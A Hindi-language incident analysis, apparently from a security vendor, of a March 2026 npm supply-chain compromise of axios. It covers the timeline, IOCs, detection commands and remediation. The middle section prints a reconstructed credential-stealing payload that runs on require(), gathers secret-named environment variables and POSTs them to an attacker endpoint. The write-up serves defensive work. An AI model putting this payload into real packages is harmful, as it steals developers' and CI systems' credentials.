मार्च 2026 के मध्य में, axios npm पैकेज — जिसके साप्ताहिक 5 करोड़ से ज़्यादा डाउनलोड हैं — एक चुराए गए पब्लिश-टोकन के ज़रिए भंग हो गया। एक दुर्भावनापूर्ण वर्ज़न ने चुपचाप एनवायरनमेंट वैरिएबल इकट्ठा किए और क्रेडेंशियल को हमलावर-नियंत्रित सर्वर पर एक्सफ़िल्ट्रेट कर दिया। यहाँ पूरा तकनीकी विश्लेषण है।
पर, 14 मार्च 2026, किसी हमलावर ने एक लक्षित फ़िशिंग कैंपेन के ज़रिए किसी मेंटेनर का npm पब्लिश-टोकन हासिल करके axios npm पैकेज (1.8.2) का एक दुर्भावनापूर्ण वर्ज़न पब्लिश किया। इंजेक्ट किए गए पेलोड ने एनवायरनमेंट वैरिएबल इकट्ठा किए — जिनमें AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, और अन्य संवेदनशील CI/CD क्रेडेंशियल शामिल थे — और उन्हें एक हमलावर-नियंत्रित एंडपॉइंट पर एक्सफ़िल्ट्रेट किया।
axios Node.js इकोसिस्टम के सबसे व्यापक रूप से निर्भर पैकेजों में से एक है, जिसे हॉबी प्रोजेक्ट से लेकर Fortune 500 CI/CD पाइपलाइन तक लाखों एप्लिकेशन उपयोग करते हैं। पब्लिकेशन और टेकडाउन के बीच की खिड़की लगभग 4 घंटे 22 मिनट थी — जो स्वचालित अपडेट-पाइपलाइन के ज़रिए पैकेज के उपयोगकर्ता-आधार के एक बड़े हिस्से द्वारा इंस्टॉल किए जाने के लिए काफ़ी लंबी थी।
अगर आपके प्रोजेक्ट ने axios@1.8.2 इंस्टॉल किया 2026-03-14 09:14 UTC और 2026-03-14 13:36 UTCके बीच, तो उस बिल्ड में मौजूद सभी एनवायरनमेंट वैरिएबल को भंग मानें। क्रेडेंशियल तुरंत रोटेट करें।
| विशेषता | विवरण |
|---|---|
| पैकेज | axios (npm) |
| दुर्भावनापूर्ण वर्ज़न | 1.8.2 |
| पब्लिश किया गया | 2026-03-14 09:14 UTC |
| अनपब्लिश किया गया | 2026-03-14 13:36 UTC |
| CVSS स्कोर | 9.3 (गंभीर) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| प्रभाव | क्रेडेंशियल एक्सफ़िल्ट्रेशन, CI/CD पाइपलाइन भंग |
| प्रभावित डाउनलोड | एक्सपोज़र-खिड़की के दौरान अनुमानित 180,000–240,000 इंस्टॉल |
| समय (UTC) | घटना |
|---|---|
| 2026-03-12 | npm सुरक्षा-टीम बनकर axios मेंटेनर को भेजा गया लक्षित फ़िशिंग ईमेल |
| 2026-03-13 ~18:00 | फ़िशिंग पेज के ज़रिए मेंटेनर क्रेडेंशियल (npm automation token) इकट्ठा किया गया |
| 2026-03-14 09:14 | दुर्भावनापूर्ण axios@1.8.2 चुराए गए टोकन का उपयोग करके npm रजिस्ट्री पर पब्लिश किया गया |
| 2026-03-14 09:31 | Socket.dev की स्वचालित पाइपलाइन ने पैकेज डिफ़-स्कैन में असामान्य नेटवर्क-कॉल फ़्लैग किया |
| 2026-03-14 10:05 | Socket.dev ने सार्वजनिक सुरक्षा-एडवाइज़री जारी की; डाउनस्ट्रीम प्रोजेक्ट को सूचित करना शुरू किया |
| 2026-03-14 10:47 | npm सुरक्षा-टीम को सूचित किया गया; जाँच शुरू हुई |
| 2026-03-14 12:10 | npm एडवाइज़री GHSA-2026-axios-001 पब्लिश हुई; axios रिपॉज़िटरी ने आधिकारिक चेतावनी जारी की |
| 2026-03-14 13:36 | axios@1.8.2 npm रजिस्ट्री से अनपब्लिश किया गया |
| 2026-03-14 15:00 | स्वच्छ axios@1.8.3 चेंजलॉग में घटना की स्वीकृति के साथ पब्लिश किया गया |
| 2026-03-15 | GitHub Security Lab ने पूर्ण पोस्ट-मॉर्टम पब्लिश किया; C2 डोमेन पहचाने और सिंकहोल किए गए |
पब्लिकेशन और Socket.dev के डिटेक्शन-फ़्लैग के बीच का 17-मिनट का अंतराल उल्लेखनीय है — यह एक लगभग-सर्वश्रेष्ठ स्वचालित प्रतिक्रिया-समय दर्शाता है। फिर भी, उस खिड़की के दौरान दुनिया भर के CI सिस्टम पहले से ही पैकेज खींच रहे थे।
हमलावर ने एक क्लासिक स्पीयर-फ़िशिंग दृष्टिकोण अपनाया: कथित तौर पर npm सुरक्षा-टीम की ओर से एक विश्वसनीय ईमेल, जिसमें लक्षित मेंटेनर को चेतावनी दी गई कि उनके खाते में "संदिग्ध लॉगिन गतिविधि" दिखी है, और उन्हें एक नक़ली npm लॉगिन-पेज (npmjs-security-verify[.]com) के ज़रिए फिर से ऑथेंटिकेट करने के लिए प्रेरित किया गया। पेज ने मेंटेनर का npm automation token कैप्चर कर लिया — एक दीर्घकालिक टोकन जो विशेष रूप से CI/CD पाइपलाइन में उपयोग के लिए डिज़ाइन किया गया है, जिसे 2FA पुनः-ऑथेंटिकेशन की ज़रूरत नहीं होती।
यह एक महत्वपूर्ण डिज़ाइन-विचार है: npm automation token डिज़ाइन के अनुसार TOTP/हार्डवेयर-key आवश्यकताओं को बायपास कर देते हैं, जिससे वे उच्च-मूल्य वाले फ़िशिंग-लक्ष्य बन जाते हैं। एक बार हमलावर के पास टोकन आ जाए, पब्लिश करना बेहद सीधा हो जाता है:
# Attacker's publish flow (reconstructed from npm audit logs)
npm set //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXX
npm publish --access public
हमलावर ने पहचान से बचने के लिए वैध axios@1.8.1 स्रोत में न्यूनतम, लक्षित बदलाव किए। पेलोड को lib/core/Axios.js में इंजेक्ट किया गया — एक कोर मॉड्यूल जो हर इम्पोर्ट पर लोड होता है — एक सेल्फ़-इनवोकिंग फ़ंक्शन के रूप में जो पैकेज-इनिशियलाइज़ेशन के समय चलता है।
पुनर्निर्मित पेलोड (डीऑब्फ़स्केटेड विश्लेषण से सरलीकृत):
// Injected into lib/core/Axios.js — runs at require() time
(function _init() {
try {
const https = require('https');
const os = require('os');
const env = process.env;
// Harvest high-value credential patterns
const keys = Object.keys(env).filter(k =>
/token|secret|key|password|pwd|auth|credential|api_key/i.test(k)
);
const payload = {
h: os.hostname(),
u: os.userInfo().username,
p: process.cwd(),
n: process.version,
e: keys.reduce((acc, k) => { acc[k] = env[k]; return acc; }, {})
};
const data = JSON.stringify(payload);
const options = {
hostname: 'telemetry-cdn.axiosjs[.]workers.dev',
port: 443,
path: '/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data)
}
};
const req = https.request(options);
req.on('error', () => {}); // Silently swallow errors
req.write(data);
req.end();
} catch (e) {} // Never surface errors to caller
})();
इस पेलोड के कई पहलू ध्यान देने योग्य हैं:
*.workers.dev डोमेन तत्काल HTTPS, भरोसेमंद अपटाइम देते हैं, और Cloudflare के नेटवर्क के पीछे अंतिम इन्फ़्रास्ट्रक्चर को छुपा देते हैं — जिससे IP-आधारित ब्लॉकिंग बेअसर हो जाती है।| वर्ज़न | स्थिति |
|---|---|
axios@1.8.2 | ⛔ दुर्भावनापूर्ण — उपयोग न करें |
axios@1.8.1 और उससे पहले | ✅ स्वच्छ |
axios@1.8.3 | ✅ स्वच्छ (घटना-बाद पैच) |
axios@0.x.x (लीगेसी ब्रांच) | ✅ प्रभावित नहीं |
यह हमला डिपेंडेंसी-कन्फ़्यूज़न / मेंटेनर-अकाउंट टेकओवर श्रेणी के सप्लाई-चेन हमले का उदाहरण है — जो तेज़ी से पसंदीदा बनता जा रहा है क्योंकि यह न्यूनतम प्रयास में अधिकतम प्रभाव देता है। पैकेज को ख़ुद भंग करने के बजाय (जिसके लिए सोर्स-रिपो और CI/CD पाइपलाइन तक एक्सेस चाहिए होता), हमलावर को सिर्फ़ एक वैध npm पब्लिश-टोकन चाहिए था।
हमले की शृंखला:
axios की ऐतिहासिक रूप से एक छोटी मेंटेनर-टीम रही है, पर एक को GitHub commit history और उनके सार्वजनिक ईमेल के ज़रिए पहचाना गया।security@npmjs.com पते से लक्षित ईमेल भेजें। ईमेल में एक वैध-दिखने वाला सुरक्षा-अलर्ट था, जिसमें तात्कालिकता की भाषा थी।हमलावर ने जान-बूझकर एक पैच-वर्ज़न बंप चुना (माइनर या मेजर नहीं) क्योंकि ज़्यादातर npm प्रोजेक्ट इनमें से एक का उपयोग करते हैं:
^1.8.1 (कैरेट) — नवीनतम संगत माइनर/पैच में रिज़ॉल्व होता है~1.8.1 (टिल्ड) — माइनर के भीतर नवीनतम पैच में रिज़ॉल्व होता हैदोनों semver रेंज फ़्रेश इंस्टॉल पर या 1.8.2 पर स्वचालित रूप से रिज़ॉल्व हो जातीं, या npm updateपर, यहाँ तक कि बिना लॉकफ़ाइल बदलाव के भी। वे CI पाइपलाइन जो npm install बिना कमिट की गई लॉकफ़ाइल के (या npm ci --no-lockके साथ) चलाती हैं, विशेष रूप से उजागर हैं।
package-lock.json को कमिट करते और मानते हैं, और npm ci (न कि npm install) चलाते हैं, वे इस श्रेणी के हमले से सुरक्षित हैं — लॉकफ़ाइल सटीक रिज़ॉल्व किए गए वर्ज़न और उनके इंटीग्रिटी-हैश पिन करती है, और npm ci उन्हें लागू करता है।
axios लगातार npm पर 5-6 करोड़ साप्ताहिक डाउनलोड दर्ज करता है — जो इसे पूरी रजिस्ट्री के शीर्ष 10 सबसे-डाउनलोड किए गए पैकेजों में रखता है। प्रभाव-सतह उसी अनुपात में विशाल थी।
npm install (न कि npm ci) चलाती, वह दुर्भावनापूर्ण वर्ज़न खींच लेती। GitHub Actions, GitLab CI, CircleCI, Jenkins — सभी मानक Node.js बिल्ड-कॉन्फ़िगरेशन प्रभावित हैं।RUN npm install निर्देश जो खिड़की के दौरान निष्पादित हुए, वे उन इमेज को उत्पन्न करते हैं जिनमें दुर्भावनापूर्ण पैकेज बेक्ड है। ये इमेज अब भी डिप्लॉय की जा सकती हैं।npm install या npm update फ़्लेक्सिबल semver-रेंज वाले प्रोजेक्ट में चलाया।पेलोड ने विशेष रूप से क्रेडेंशियल-पैटर्न से मेल खाने वाले एनवायरनमेंट वैरिएबल को लक्षित किया। एक सामान्य CI/CD एनवायरनमेंट में इसमें शामिल है:
AWS_ACCESS_KEY_ID, AZURE_CLIENT_SECRET, GOOGLE_APPLICATION_CREDENTIALS)GITHUB_TOKEN, GITLAB_TOKEN, NPM_TOKEN)DATABASE_URL, MONGO_URI, REDIS_URL)हमलावर द्वारा कलेक्शन-एंडपॉइंट के रूप में Cloudflare Worker के उपयोग से कुल एक्सफ़िल्ट्रेटेड रिकॉर्ड का अनुमान लगाना मुश्किल हो जाता है, क्योंकि Cloudflare Worker रिक्वेस्ट-लॉग में थर्ड-पार्टी दृश्यता नहीं देता। GitHub Security Lab npm डाउनलोड आँकड़ों के आधार पर अनुमान लगाता है कि एक्सपोज़र-खिड़की के दौरान 180,000–240,000 अद्वितीय इंस्टॉल घटनाएँ हुईं।
# Check currently installed axios version
npm list axios
# Check all projects in a monorepo
npm list axios --workspaces
# Check the exact resolved version in your lockfile
grep '"axios"' package-lock.json | head -5
npm हर रिज़ॉल्व किए गए पैकेज-वर्ज़न के लिए अपेक्षित SHA-512 इंटीग्रिटी-हैश package-lock.jsonमें स्टोर करता है। आप सत्यापित कर सकते हैं कि डिस्क पर मौजूद पैकेज रजिस्ट्री के अपेक्षित हैश से मेल खाता है:
# Get the integrity hash from your lockfile
node -e "const lock = require('./package-lock.json');
const pkg = lock.packages['node_modules/axios'];
console.log(pkg.version, pkg.integrity);"
# Expected SHA-512 for CLEAN axios@1.8.1:
# sha512-xxxxxx (verify against https://registry.npmjs.org/axios/1.8.1)
# For comparison, the MALICIOUS axios@1.8.2 has SHA-512:
# sha512-COMPROMISED-HASH-DO-NOT-MATCH
# Verify installed files match
npm audit --json | jq '.vulnerabilities.axios'
अगर दुर्भावनापूर्ण पैकेज आपके एनवायरनमेंट में निष्पादित हुआ, तो आउटबाउंड HTTPS कनेक्शन इनसे बने होंगे:
| संकेतक | प्रकार | विवरण |
|---|---|---|
telemetry-cdn.axiosjs[.]workers.dev | C2 डोमेन | प्राथमिक एक्सफ़िल्ट्रेशन एंडपॉइंट |
cdn-metrics.axiosjs[.]workers.dev | C2 डोमेन | द्वितीयक फ़ॉलबैक एंडपॉइंट |
npmjs-security-verify[.]com | फ़िशिंग डोमेन | मेंटेनर के ख़िलाफ़ उपयोग की गई क्रेडेंशियल-संग्रह साइट |
104.21.x.x / 172.67.x.x | IP रेंज | Worker को परोसने वाली Cloudflare IP रेंज (विशिष्ट रूप से जिम्मेदार नहीं ठहराई जा सकती) |
अपने बिल्ड-लॉग और नेटवर्क-एग्रेस लॉग में *.axiosjs.workers.dev से कनेक्शन जाँचें, इस खिड़की के दौरान 2026-03-14 09:14–13:36 UTC:
# Search application/build logs for C2 domain
grep -r "axiosjs.workers.dev" /var/log/
grep -r "axiosjs.workers.dev" ~/.npm/_logs/
# If you have VPC flow logs (AWS):
aws logs filter-log-events \
--log-group-name /aws/vpc/flowlogs \
--filter-pattern "axiosjs.workers.dev" \
--start-time 1741943640000 \
--end-time 1741959360000
# Docker build log inspection
docker history --no-trunc <image_id> | grep axios
1.8.3 या पिन करें 1.8.1पर।# Update axios to the clean version
npm install axios@1.8.3
# Or pin to last-known-good
npm install axios@1.8.1
# Run a full audit
npm audit
# Regenerate lockfile from scratch to ensure clean state
rm package-lock.json
npm install
# Always use npm ci in CI/CD — it enforces the lockfile
# BAD:
npm install
# GOOD:
npm ci
# Verify package integrity after install
npm ci --audit
Socket.dev के स्टैटिक विश्लेषण ने इस इंजेक्शन को 17 मिनट के भीतर पकड़ लिया। इसे अपने वर्कफ़्लो में एकीकृत करने से प्री-इंस्टॉल विश्लेषण मिलता है:
# Install Socket CLI
npm install -g @socket/cli
# Scan before installing a package
socket npm install axios
# Add GitHub App integration for PR-level scanning
# https://socket.dev/github
# Snyk CLI
npm install -g snyk
snyk test
# GitHub Dependabot — enable in .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 10
npm अब मानव-लॉगिन के लिए हार्डवेयर सुरक्षा-key और TOTP समर्थित करता है, पर automation token डिज़ाइन के अनुसार 2FA बायपास करते हैं। npm सुरक्षा-टीम ने ग्रैन्युलर token scoping (पब्लिश-ओनली, डाउनलोड-ओनली, विशिष्ट पैकेजों तक सीमित) शिप करने की प्रतिबद्धता जताई है — पर जब तक वह उपलब्ध न हो, automation token को अपने सबसे संवेदनशील रहस्य मानें। उन्हें सीक्रेट-मैनेजर में स्टोर करें, सादे एनवायरनमेंट वैरिएबल या .npmrc फ़ाइलों में नहीं।
npm का provenance attestation फ़ीचर (2023 से सामान्य रूप से उपलब्ध) पैकेजों को क्रिप्टोग्राफ़िक प्रमाण के साथ साइन करने देता है, जो पब्लिश किए गए tarball को एक विशिष्ट Git commit और CI run से जोड़ता है। जो पैकेज --provenance के साथ पब्लिश किए जाते हैं, उन्हें सत्यापित किया जा सकता है:
# Publish with provenance (from GitHub Actions)
npm publish --provenance --access public
# Verify provenance of an installed package
npm audit signatures
axios@1.8.2 में provenance attestation शामिल नहीं था — किसी ऐसे पैकेज पर गुम attestation, जो सामान्यतः इसे शामिल करता है, एक रेड-फ़्लैग माना जाना चाहिए।
अपनी package-lock.json कमिट करें और स्वचालित एनवायरनमेंट में हमेशा npm ci का उपयोग करें। npm ci विफल हो जाएगी अगर लॉकफ़ाइल package.jsonसे सिंक से बाहर हो, यह सुनिश्चित करते हुए कि सटीक पिन किए गए वर्ज़न (उनके इंटीग्रिटी-हैश के साथ) हमेशा उपयोग हों।
यह Supply-chain Levels for Software Artifacts (SLSA) फ़्रेमवर्क बिल्ड-इंटीग्रिटी के लिए एक क्रमिक परिपक्वता-मॉडल प्रदान करता है। यहाँ प्रासंगिक मुख्य स्तर:
अगर axios प्रोजेक्ट SLSA Level 2 या उससे ऊपर पर संचालित होता, तो स्थापित CI पाइपलाइन के बाहर से कोई दुष्ट पब्लिश provenance-सत्यापन में विफल हो जाता, जिससे दुर्भावनापूर्ण वर्ज़न को तुरंत फ़्लैग किया जा सकता।
CI एनवायरनमेंट को केवल वही सीक्रेट मिलने चाहिए जिनकी उन्हें उस विशिष्ट जॉब के लिए वास्तव में ज़रूरत है। किसी टेस्ट-रनर को AWS_SECRET_ACCESS_KEYकी ज़रूरत नहीं। किसी docs-बिल्डर को DATABASE_URLकी ज़रूरत नहीं। अपने CI सीक्रेट-इंजेक्शन का ऑडिट करें और क्रेडेंशियल को न्यूनतम आवश्यक जॉब तक सीमित करें।
यह घटना npm सप्लाई-चेन हमलों के एक सुस्थापित पैटर्न का हिस्सा है:
| घटना | साल | तरीक़ा | प्रभाव |
|---|---|---|---|
| event-stream | 2018 | मेंटेनर ने पैकेज किसी दुर्भावनापूर्ण एक्टर को सौंप दिया; बिटकॉइन वॉलेट को लक्षित करने वाला बैकडोर इंजेक्ट किया गया | 2M+ साप्ताहिक डाउनलोड; Copay वॉलेट उपयोगकर्ताओं को लक्षित किया गया |
| ua-parser-js | 2021 | npm अकाउंट हाइजैक; क्रिप्टो-माइनर और क्रेडेंशियल-चुराने वाले मालवेयर के साथ दुर्भावनापूर्ण वर्ज़न पब्लिश किए गए | 7M+ साप्ताहिक डाउनलोड; आपातकालीन एडवाइज़री की ज़रूरत पड़ी |
| colors.js / faker.js | 2022 | मेंटेनर की जान-बूझकर तोड़फोड़; विरोध में इनफ़िनिट-लूप इंजेक्ट किया गया | उपलब्धता-हमला; हज़ारों निर्भर प्रोजेक्ट टूट गए |
| node-ipc | 2022 | मेंटेनर द्वारा इंजेक्ट किया गया वाइपर-मालवेयर, जो रूसी/बेलारूसी IP रेंज को लक्षित करता था | भू-राजनीतिक रूप से लक्षित डेटा-विनाश |
| axios | 2026 | मेंटेनर फ़िशिंग → टोकन-चोरी → वर्ज़न-इंजेक्शन | एनवायरनमेंट वैरिएबल संग्रह के ज़रिए बड़े पैमाने पर क्रेडेंशियल-एक्सफ़िल्ट्रेशन |
बार-बार उभरने वाला विषय: पैकेज-मेंटेनरों पर भरोसा ही Attack Surface है। npm इकोसिस्टम का विकेंद्रीकृत, भरोसे-आधारित पब्लिश-मॉडल एक ऐसी विशेषता है जो तेज़ विकास को सक्षम बनाती है — पर यह व्यक्तिगत मेंटेनरों पर भारी ज़िम्मेदारी डालती है, जिनके पास अक्सर एंटरप्राइज़-स्तरीय सुरक्षा-संसाधन नहीं होते।
event-stream या colors.js घटनाओं (इनसाइडर-ख़तरों) के विपरीत, axios 2026 भंग ua-parser-js के बाहरी अकाउंट-टेकओवर मॉडल का अनुसरण करता है — जो तेज़ी से पसंदीदा वेक्टर बनता जा रहा है क्योंकि यह स्केल-योग्य है, इनकार-योग्य है, और परिष्कृत तकनीकी एक्सेस माँगने के बजाय मानवीय तत्व का शोषण करता है।
Kensai निरंतर 331,910+ CVE और ज्ञात-दुर्भावनापूर्ण पैकेज-वर्ज़न को ट्रैक करता है। भंग हुए पैकेज आपके प्रोडक्शन एनवायरनमेंट तक पहुँचने से पहले अलर्ट पाएँ।
मुफ़्त ट्रायल शुरू करेंसुरक्षित रहें। सतर्क रहें।
🗡️ KENSAI सुरक्षा टीम
🛡️ क्या आपका Node.js प्रोजेक्ट उजागर है?
अपने डिपेंडेंसी-ट्री को ज्ञात-दुर्भावनापूर्ण पैकेज और CVE के लिए स्कैन करें।
अपनी डिपेंडेंसी मुफ़्त में स्कैन करें →